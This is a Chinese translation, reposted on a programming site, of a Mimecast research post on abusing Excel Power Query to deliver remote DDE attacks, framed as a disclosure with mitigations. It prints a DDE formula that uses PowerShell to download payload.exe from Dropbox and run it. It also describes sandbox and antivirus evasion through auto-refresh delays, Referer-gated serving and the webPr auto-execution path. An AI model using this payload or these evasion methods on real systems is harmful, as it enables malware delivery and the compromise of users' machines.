c++ builder 如何获取另一个程序的窗口内容_如何利用Power Query功能实现DDE攻击

本文主要是介绍c++ builder 如何获取另一个程序的窗口内容_如何利用Power Query功能实现DDE攻击,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

译文声明

本文是翻译文章,文章原作者mimecast,文章来源:mimecast.com 原文地址:https://www.mimecast.com/blog/2019/06/exploit-using-microsoft-excel-power-query-for-remote-dde-execution-discovered/

译文仅供参考,具体内容表达以及含义原文为准

56249f6ff6a3f74fbcd4c06ab19c6443.png

0x00 前言

7d732dd6a13e2afdbd62f491d095ce8b.png

Mimecast Threat Center发现并开发了一种攻击技术,可以利用Microsoft Excel中的Power Query功能动态启动针对Excel电子表格的远程DDE(Dynamic Data Exchange)攻击,主动控制利用Power Query的payload。

Power Query是一款强大且可扩展的BI(Business Intelligence,商业智能)工具,可以帮助用户将电子表格与其他数据源(如外部数据库、文本文档、其他电子表格或者web页面等)集成。当链接外部源时,数据可以加载并保存到电子表格中,或者采用动态加载方式(比如当文档打开时再加载)。

Mimecast Threat Center团队发现将Power Query与其他攻击方法结合起来后,可以发起较为复杂的、难以检测的攻击行为。攻击者可以使用Power Query将恶意内容嵌入独立数据源中,然后在电子表格打开时将该内容载入表格中。恶意代码可以用来释放并执行恶意软件,攻陷用户主机。

Excel的这个特性提供了非常丰富的控制功能,可以在投递其他payload之前收集沙箱或者受害者主机的指纹信息。攻击者在攻击和payload投放前可能具备一定的控制能力,可以让沙箱或其他安全解决方案无法检测该文件的情况下,将恶意payload投放到受害者主机中。

Mimecast与微软合作,遵循CVD(Coordinated Vulnerability Disclosure,协调漏洞披露)流程来判断这是Power Query的正常行为还是需要解决的问题。微软目前拒绝发布修复补丁,决定提供一种解决办法来缓解此问题。

在本文中我们将详细分析如何利用Power Query来发起DDE攻击,通过文件共享站点来释放并执行payload。

0x01 利用Power Query的攻击方法

7d732dd6a13e2afdbd62f491d095ce8b.png

由于Power Query是Microsoft Excel中的一款强大工具,因此滥用该功能所能造成的潜在危险也不容忽视。如果成功利用,攻击者可以集合其他潜在的攻击面来发起复杂的攻击,包括本地权限提升、DDE攻击以及远程代码执行等。

Power Query功能可以帮助用户非常方便且动态地嵌入远程内容。这种攻击形式通常难以发现,使攻击者更有机会突破受害者主机。利用Power Query中的潜在脆弱性,攻击者可以嵌入任何恶意payload,并且这些payload不需要保存在文档中,可以在文档打开时从web远程下载。

为了演示如何利用Power Query来启动DDE攻击,我们可以编写一个自定义的简单HTTP服务器,在web页面上托管payload,然后将这个web页面载入电子表格中。HTTP服务器可以在本地80端口上监听,当收到来自电子表格的请求时,返回所需的DDE内容。

=cmd|'/c powershell -command "& { iwr https://www.dropbox.com/s/jo94jn2s3j84mfr/payload.exe?dl=1 -OutFile payload.exe }";cmd /c payload.exe'!A1,

c44956d369c67939340778ea25693f0f.png

Microsoft Excel 2016电子表格使用Power Query来查询我们构造的恶意web页面(http://127.0.0.1:80)。

56efe5aa96a1171f7ce8bd05de72c5b6.png

随后远程内容会被读取并载入电子表格中。

fe6c5b13e317bd366b40c6905f6b3be4.png

我们可以使用Wireshark来捕捉攻击数据流。下图中高亮标记的数据包分别为包含DDE公式的数据包、对dropbox.com的DNS请求(payload.exe托管在Dropbox上)以及用来投放payload的HTTPS会话。

f7487f0fb62b672f5b72b4f178ecb6ab.png

e43c46a29a1a48074aefd03314bad06c.png

0x02 分析文件格式

7d732dd6a13e2afdbd62f491d095ce8b.png

分析文件格式后,我们可以看到table/table1.xml中包含name: “localhost”属性(默认)以及type: “queryTable”属性。

表格以及特定查询表格属性的链接位于.rels流中(_rels/table1.xml.rels),其中包含一个target字段,该字段指向的是../queryTables/queryTable1.xmlquetyTable1.xml会在标签下通过connectionId字段连接到connection.xml(该文件中包含所有文档连接属性)。程序会使用Select *命令通过dbPr对象发起连接。

web查询请求存放在xl\customXL\item1文档中,经过base64编码。

6b46b742e0af4d05457e28beb33f13a5.png

base64解码后,我们打开其中的section1文档,其中就包含查询请求。

56e6d3af40674e9ad816f33287838750.png

为了运行DDE,用户需要双击加载DDE的单元格,然后再次点击释放。这些操作将会触发DDE,启动来自web的payload。

0x03 绕过双击限制实现自动化执行

7d732dd6a13e2afdbd62f491d095ce8b.png

为了绕过“点击运行”限制,我们发现在老版的Microsoft Office对“从Web获取外部数据”的实现与现在版本有所不同。前面提到过,我们使用Microsoft Office 2016时会创建dbPr,用户需要采取某些操作才能激活payload(在沙箱等场景中,这种点击操作会达到沙箱绕过效果)。

当在老版本Office(比如2010)中“从Web获取外部数据”时,在Connections.xml下创建的对象并不是前文提到的dbPr,而是webPr,后者会更加简单。与dbPr不同,webPr并不需要任何用户操作,就可以运行payload。

da2c924622f9d83508d756d6e0b2a7f1.png

0x04 使用Power Query绕过AV及沙箱

7d732dd6a13e2afdbd62f491d095ce8b.png

我们可以在web请求中添加头部字段,使payload能够绕过专门针对这类恶意内容的反病毒软件以及沙箱环境。只有请求中包含特定的HTTP头部字段时,web服务器才会提供恶意内容。反病毒产品会从文件中提取HTTP服务器的URL地址,但并不会去解析头部数据。当AV发送测试请求时,服务器知道该请求来自于AV,而非电子表格。

只有当HTTP头中的Referer字段值设置为www.google.com时,我们才会提供DDE数据。

cd8dcd5639c6fbf3ede21c7b3ee612cb.png

我们可以在Power Query的“高级”模式中设定web请求头。Power Query会使用我们设置的Referer字段来发起web请求。

4d026382359a895ac804e1c4ecd3a388.png

如果另一个程序想尝试部分模拟Power Query的行为,不使用正确的Referer字段请求web页面,就不能得到正确结果。只有使用Microsoft Excel应用来打开原始文档时才能获取payload数据。

dfab9c64d0050f63f6bd94fe6cd4b3b8.png

由于沙箱环境也会在请求中发送自定义头部,因此我们需要一种新的方法来避免被检测。这里我们可以使用Power Query中的“auto refresh”(自动刷新)以及“refresh”(刷新)时间间隔参数。

2b1236d02eca459b1cc7f75a61d456d4.png

为了避免文件中存在恶意内容,使该文件被标记为恶意软件,我们可以强制让文件在打开时刷新数据,然后在保存文件前移除来自外部数据源的数据。这些属性可以确保在文件打开时会更新文件中的payload。我们可以设置文件每分钟刷新一次(这是最短的时间间隔),然后在第10次请求时提供payload数据。这意味着如果沙箱运行该文件的时间少于10分钟,那么就永远拿不到我们的payload。

927a9c34b3449ed4dda8db9bb2793a53.png

对于我们提供的攻击样例,大多数静态分析AV都检测不出该文件(其中并不包含payload数据),而沙箱或其他安全解决方案只会一次或者两次下载web内容,因此也检测不出来。

511955f9aa5e130a99721e7770a27d1e.png

0x05 缓解措施

7d732dd6a13e2afdbd62f491d095ce8b.png

Mimecast Threat Center团队向MRSC(Microsoft Security Response Center)反馈了我们得到的信息以及可用的PoC。MRSC创建了一个case,但决定不修复这种行为,而是采用组策略来组织外部数据连接或者使用Office Trust中心来缓解这个问题。MRSC同意我们根据CVD策略发布此次研究成果。

微软发布了一个安全公告(4053440),提供了为Microsoft Office应用进行安全设置的相关步骤及过程。该公告可以指导用户如何确保应用程序安全处理DDE字段。

攻击者一直都希望能够绕过受害者部署的检测机制。随着时间的推移,由于各种安全专家及信息共享平台都在分享威胁情报数据,因此这类攻击方式可能会被检测出来。Mimecast强烈建议所有Microsoft Excel客户部署微软提供的缓解方案,因为这类攻击方法可以对微软客户造成实际且有破坏性的安全风险。

Mimecast Targeted Threat Protection通过高级深入解析、去混淆处理,对每个文件进行实时代码分析,可以检测并阻止这种攻击技术。

92c1b7f4459248d6acd9f7c555e41821.gif

这篇关于c++ builder 如何获取另一个程序的窗口内容_如何利用Power Query功能实现DDE攻击的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/217227

相关文章

AJAX请求上传下载进度监控实现方式

《AJAX请求上传下载进度监控实现方式》在日常Web开发中,AJAX(AsynchronousJavaScriptandXML)被广泛用于异步请求数据,而无需刷新整个页面,:本文主要介绍AJAX请... 目录1. 前言2. 基于XMLHttpRequest的进度监控2.1 基础版文件上传监控2.2 增强版多

Java调用C++动态库超详细步骤讲解(附源码)

《Java调用C++动态库超详细步骤讲解(附源码)》C语言因其高效和接近硬件的特性,时常会被用在性能要求较高或者需要直接操作硬件的场合,:本文主要介绍Java调用C++动态库的相关资料,文中通过代... 目录一、直接调用C++库第一步:动态库生成(vs2017+qt5.12.10)第二步:Java调用C++

Redis分片集群的实现

《Redis分片集群的实现》Redis分片集群是一种将Redis数据库分散到多个节点上的方式,以提供更高的性能和可伸缩性,本文主要介绍了Redis分片集群的实现,具有一定的参考价值,感兴趣的可以了解一... 目录1. Redis Cluster的核心概念哈希槽(Hash Slots)主从复制与故障转移2.

springboot+dubbo实现时间轮算法

《springboot+dubbo实现时间轮算法》时间轮是一种高效利用线程资源进行批量化调度的算法,本文主要介绍了springboot+dubbo实现时间轮算法,文中通过示例代码介绍的非常详细,对大家... 目录前言一、参数说明二、具体实现1、HashedwheelTimer2、createWheel3、n

使用Python实现一键隐藏屏幕并锁定输入

《使用Python实现一键隐藏屏幕并锁定输入》本文主要介绍了使用Python编写一个一键隐藏屏幕并锁定输入的黑科技程序,能够在指定热键触发后立即遮挡屏幕,并禁止一切键盘鼠标输入,这样就再也不用担心自己... 目录1. 概述2. 功能亮点3.代码实现4.使用方法5. 展示效果6. 代码优化与拓展7. 总结1.

Mybatis 传参与排序模糊查询功能实现

《Mybatis传参与排序模糊查询功能实现》:本文主要介绍Mybatis传参与排序模糊查询功能实现,本文通过实例代码给大家介绍的非常详细,感兴趣的朋友跟随小编一起看看吧... 目录一、#{ }和${ }传参的区别二、排序三、like查询四、数据库连接池五、mysql 开发企业规范一、#{ }和${ }传参的

Docker镜像修改hosts及dockerfile修改hosts文件的实现方式

《Docker镜像修改hosts及dockerfile修改hosts文件的实现方式》:本文主要介绍Docker镜像修改hosts及dockerfile修改hosts文件的实现方式,具有很好的参考价... 目录docker镜像修改hosts及dockerfile修改hosts文件准备 dockerfile 文

C/C++错误信息处理的常见方法及函数

《C/C++错误信息处理的常见方法及函数》C/C++是两种广泛使用的编程语言,特别是在系统编程、嵌入式开发以及高性能计算领域,:本文主要介绍C/C++错误信息处理的常见方法及函数,文中通过代码介绍... 目录前言1. errno 和 perror()示例:2. strerror()示例:3. perror(

C++变换迭代器使用方法小结

《C++变换迭代器使用方法小结》本文主要介绍了C++变换迭代器使用方法小结,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧... 目录1、源码2、代码解析代码解析:transform_iterator1. transform_iterat

基于SpringBoot+Mybatis实现Mysql分表

《基于SpringBoot+Mybatis实现Mysql分表》这篇文章主要为大家详细介绍了基于SpringBoot+Mybatis实现Mysql分表的相关知识,文中的示例代码讲解详细,感兴趣的小伙伴可... 目录基本思路定义注解创建ThreadLocal创建拦截器业务处理基本思路1.根据创建时间字段按年进